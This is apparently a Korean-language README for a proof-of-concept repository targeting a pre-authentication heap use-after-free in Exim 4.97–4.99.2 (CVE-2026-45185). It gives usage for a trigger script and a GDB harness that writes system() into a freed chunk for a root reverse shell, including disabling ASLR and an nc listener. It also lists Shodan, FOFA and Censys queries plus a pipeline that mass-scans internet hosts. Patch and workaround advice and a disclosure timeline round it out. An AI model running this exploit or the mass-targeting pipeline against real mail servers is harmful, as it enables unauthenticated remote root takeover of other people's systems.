
Exim에서 TLS close_notify를 통한 인증 전(pre-auth) 치명적 힙 use-after-free를 악용하여 원격 루트 권한을 획득합니다. GDB 랩 하네스와 Nuclei 탐지 템플릿을 포함합니다.
CVSS 9.8 치명적(Critical) | Exim 4.97–4.99.2 | Ubuntu / GnuTLS 빌드 | 인증 불필요
GDB 트레이스, 단계별 분석, 전 세계 노출 데이터를 포함한 전체 분석 문서:
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
Exim이 BDAT 본문 전송 중일 때 TLS close_notify 경보를 보내면
tls_close()가 gnutls_deinit()을 호출하여 7,304바이트 크기의 gnutls_session_int
구조체를 해제합니다. BDAT 수신 레이어는 스테일(stale) 포인터를 보유하고 있습니다. 본문 읽기 루프가 재개되면
tls_getbuf → gnutls_record_recv가 해제된 세션을 역참조합니다 — 인증 전,
자격 증명 없이 발생하는 힙 use-after-free입니다.
Exim 4.99.3에서 수정되었습니다.
| 조건 | 필수 값 |
|---|---|
| Exim 버전 | 4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2 |
| 빌드 | GnuTLS(libgnutls28-dev)를 사용하는 Ubuntu / Debian |
| 기능 | EHLO에서 CHUNKING 광고(기본 활성화) |
Alpine Linux와 OpenSSL에 링크된 자체 컴파일 Exim은 영향을 받지 않습니다.
| 파일 | 용도 |
|---|
python3 poc.py <host> <port> <rcpt@domain>
# 예시
python3 poc.py mail.example.com 587 [email protected]
트리거 실행 후에도 서버가 살아 있으면 UAF 경로가 존재한다는 뜻입니다. 서버가 크래시하면 tcache 동작에 변화가 생긴 것입니다.
# 1. Ubuntu 22.04를 받아 GnuTLS로 Exim 4.97 설치
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3
# 2. ASLR 비활성화(하드코딩된 주소에 필요)
echo 0 | tee /proc/sys/kernel/randomize_va_space
# 3. Exim 구성 — CHUNKING + STARTTLS 활성화, 모든 인터페이스에서 수신
dpkg-reconfigure exim4-config # "internet site" 선택, 기본값 수락
# 4. 하네스를 로드한 상태로 GDB에서 Exim 시작
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d
# 5. 다른 터미널에서 트리거 실행
python3 poc.py 127.0.0.1 25 user@localhost
# 6. 리버스 셸용 리스너 시작
nc -lvp 4444
실행 전: diag19_gdb.py의 CMD를 리스너 IP로 수정하세요.
SYSTEM 주소는 로드 시 동적으로 해석됩니다 — 수동 조회가 필요 없습니다.
PostTlsCloseFin 내부의 두 주소(lwr_receive_getbuf, tls_getbuf)는
Exim 내부 주소이므로 빌드와 일치해야 합니다:
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf
# 단일 대상
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v
# 대상 목록
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt
# Shodan 결과 대량 스캔
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt
템플릿은 두 개의 독립적인 단계를 실행합니다:
EHLO 핑거프린트 — EHLO를 전송하고 세 가지 필수 조건을 모두 매칭합니다:
4.97–4.99.2Ubuntu(GnuTLS 링크 확인됨)CHUNKINGBDAT 프로브 — RCPT TO 없이 BDAT 200을 전송하고 Exim 특유의 503 응답을 매칭합니다:
503 valid RCPT command must precede BDAT
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587
# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")
# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"
Exim 4.99.3 이상으로 업그레이드(공식 패치).
임시 우회 조치(익스플로잇 경로 없음, 테스트 시 재시작 불필요):
# exim4.conf
chunking_advertise_hosts = !*
그런 다음 service exim4 restart를 실행합니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-06-10 | XBOW가 CVE 배정 |
| 2026-06-24 | 공개 권고 발표 |
| 2026-08-07 | 랩 환경 RCE 확인, 분석 문서 + PoC 공개 |
작성자: @0Init
poc.py | UAF 트리거 — 표준 라이브러리만 사용, pip 불필요. 자체 서버 대상 실행 시 안전합니다. UAF 경로에 도달한 후 중지합니다(페이로드 없음). |
diag19_gdb.py | GDB 익스플로잇 하네스 — 중단점 7개, gnutls_deinit()이 반환된 후 해제된 청크에 system()을 기록합니다. 랩 전용(ASLR 비활성화 + 일치하는 라이브러리 버전 필요). |
CVE-2026-45185.yaml | Nuclei 템플릿 — EHLO 핑거프린트 + BDAT 프로브로 세 가지 전제 조건을 모두 탐지합니다. 안전한 읽기 전용 탐지. |